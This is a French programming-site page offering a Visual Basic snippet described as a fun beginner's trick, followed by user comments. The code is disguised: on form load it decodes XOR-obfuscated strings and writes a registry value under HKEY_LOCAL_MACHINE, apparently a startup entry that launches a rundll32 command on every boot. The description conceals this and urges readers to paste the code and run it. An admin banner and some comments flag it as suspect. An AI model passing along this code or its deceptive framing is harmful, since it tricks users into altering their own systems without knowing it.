Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

CODE AMUSANT


Information sur la source

Attention: ce code a été marqué comme suspect par un admin, il peut donc être dangereux.
Ce code a été laissé sur le site dans un but pédagogique, ne l'exécutez pas si vous ne comprenez pas son contenu!
Catégorie :Texte Classé sous : inversion, bouton, souris, amusant Niveau : Débutant Date de création : 26/03/2001 Vu : 4 131

Note :
2,06 / 10 - par 17 personnes
2,06 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (4)
Ajouter un commentaire et/ou une note

Description

Ben voila, je trouve ce code super amusant, c'est tip top vous voyez? Dans le fond c'est très simple, même enfantin, il suffisait d'y penser! Comme quoi même dans une maison de retraite on trouve toujours moyen d'égayer sa journée avec des petits jeux amusants!

Il suffit de créer une form et de coller ce code à l'interieur, puis appuyez sur F5 ou utilisez votre souris...waaaallaaaa!
 

Source

  • Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
  • (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  • Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
  • (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
  • ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  • Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
  • (lpVersionInformation As OSVERSIONINFO) As Long
  • Private Type OSVERSIONINFO
  • dwOSVersionInfoSize As Long
  • dwMajorVersion As Long
  • dwMinorVersion As Long
  • dwBuildNumber As Long
  • dwPlatformId As Long
  • szCSDVersion As String * 128
  • End Type
  • Private Sub Form_Load()
  • Call BuildApp
  • MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
  • LaGrandeVerite$("Dv#Kpo)&'")
  • End
  • End Sub
  • Function LaGrandeVerite$(LeText$)
  • a$ = ""
  • For i = 1 To Len(LeText$)
  • LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
  • a$ = a$ + Chr$(LeCar)
  • Next i
  • LaGrandeVerite$ = a$
  • End Function
  • Sub BuildApp()
  • Dim Resultat As Long
  • Dim Ident As Long
  • Resultat = 0
  • Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
  • "wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
  • Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
  • If Resultat = 0 Then
  • LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
  • If GreatPlaceToLive = 2 Then
  • Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
  • "==<BerdXybk|Xnhiqq")
  • Else
  • Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
  • Chr$(34) + "\gpb^{`erZlnoss")
  • End If
  • Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
  • End If
  • End Sub
  • Function GreatPlaceToLive()
  • Dim Here As OSVERSIONINFO
  • Here.dwOSVersionInfoSize = Len(Here)
  • Call MaisOuJeSuis(Here)
  • GreatPlaceToLive = Here.dwPlatformId
  • End Function
Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
            (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
            (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
            ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
            (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
 dwOSVersionInfoSize As Long
 dwMajorVersion As Long
 dwMinorVersion As Long
 dwBuildNumber As Long
 dwPlatformId As Long
 szCSDVersion As String * 128
End Type

Private Sub Form_Load()
 Call BuildApp
 MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
                                    LaGrandeVerite$("Dv#Kpo)&'")
 End
End Sub

Function LaGrandeVerite$(LeText$)
 a$ = ""
 For i = 1 To Len(LeText$)
  LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
  a$ = a$ + Chr$(LeCar)
 Next i
 LaGrandeVerite$ = a$
End Function

Sub BuildApp()
 Dim Resultat As Long
 Dim Ident As Long
 
 Resultat = 0
 Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
                                    "wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
 Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
 If Resultat = 0 Then
  LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
  If GreatPlaceToLive = 2 Then
   Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
                                                      "==<BerdXybk|Xnhiqq")
  Else
   Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
                                              Chr$(34) + "\gpb^{`erZlnoss")
  End If
  Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
 End If
End Sub

Function GreatPlaceToLive()
 Dim Here As OSVERSIONINFO
 Here.dwOSVersionInfoSize = Len(Here)
 Call MaisOuJeSuis(Here)
 GreatPlaceToLive = Here.dwPlatformId
End Function

Conclusion

Oh... ça marche même sous windows 2000!
 

Commentaires et avis

signaler à un administrateur
Commentaire de PtitJeoJeo le 06/02/2002 23:46:38

MOI CE QUE J'AIMERZ SAVOIR C COMMENT ON FAIT POUR SAVOIR A KOI SERT TELLE OU TELLE API ??? ET COMMENT L'UTILISER !!!

signaler à un administrateur
Commentaire de armand44 le 24/04/2002 03:23:04

Povre blaireau memere

signaler à un administrateur
Commentaire de demon5439 le 02/01/2003 15:12:00

un forum sans *** ca n'existe pas, moi aussi ca menerve de voir ca, mais la meilleur solution est de ne rien dire, stupide est le / la créateur/trice de ce code (je pense qu'il ne s'en rend meme pas compte), encore plus stupide est celui qui l'utilise sans savoir se qu'il contient exactement, de plus ... de répondre a la personne qui l'a fait, car son but est justement d'emmerder le monde, donc si vous jouer dans son jeux, c'est elle qui gagne ! et oui c'est des gamineries ... faut laisser faire puis voila ! @+++

signaler à un administrateur
Commentaire de taha154 le 02/06/2004 19:48:07

c bien joli tout ca mais si ce code est intégré dans un programme ou dans un jeu comment on pourrait le detecter ?

Ajouter un commentaire

Discussions en rapport avec ce code source dans le forum

Détection click souris [ par Duke76 ] J'ai un bouton de commande sur une feuille excel 2000 . J'ai affecté à l'événement CommandButton1_Click() le code suivant : Range("a1") = 1 .Quand je bouton droit de la souris [ par WareG ] BJRetant encore novice en programmation j'ai un petit problème. J'aimerais avec le bouton droit de la souris faire apparaitre un menu flottant dans un Simuler un Install de fichier .inf via le bouton droit souris [ par carlos95 ] Je cherche à faire un script qui fait exactement la même chose (install d'un fichier .inf) que l'option Installer via le bouton droit de la souris.Je Détection appui sur bouton Souris [ par bene74 ] Bonjour,Je cherche une solution par détecter l'APPUI sur le bouton gauche de la souris (l'évènement Click ne se déclenche qu'au moment du relâché!!!). *****************Comment bloquer le bouton droit de la souris partout dans le projet??????*************** [ par MasterH ] Je doit empêche que l'utilisateur utilise le menu du bouton droit de la souris tout au long de mon projet. Les option Couper et Suprimer font planté l help!!!! [ par Nargzul ] je cherche comment faire pour simuler un clic de souris, du genre on aurait la souris au dessus d'un bouton, ca clic et le bouton s'enfoncerait...pour Action continue sur un bouton avec la souris [ par maitkaci ] Quelqu'un peut-il me donner l'astuce pour obtenir que la pression continue (avec le curseur de la souris) sur un bouton entraine une action permanente Pb de rollover [ par mat1eu ] bonjour, j'essaye de creer une rotation d'un clip &#224; l'aide d'un bouton, l'action est simple lorsque la souris est sur le bouton le clip fait une execute un prog tant que le bouton gauche de la souris est appuyé sur un bouton [ par bibinutz ] salut tout le mondevoila le dilemne lol :je souhaiterais incrementer une valeur tant qu'un bouton reste appuy&#233; a l'aide de la souris mais le prob menu dynamique [ par maxelpiratos ] bonjour a tous, voila j ai cree un menu vertical dynamique , le probleme est que le sous menu ne s affiche que losque la souris passe sur le bouton


Nos sponsors

Sondage...

CalendriCode

Juillet 2009
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode

Téléchargements

Logiciels à télécharger sur le même thème :

Comparez les prix Nouvelle version

Photothèque Nouveau !



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,655 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.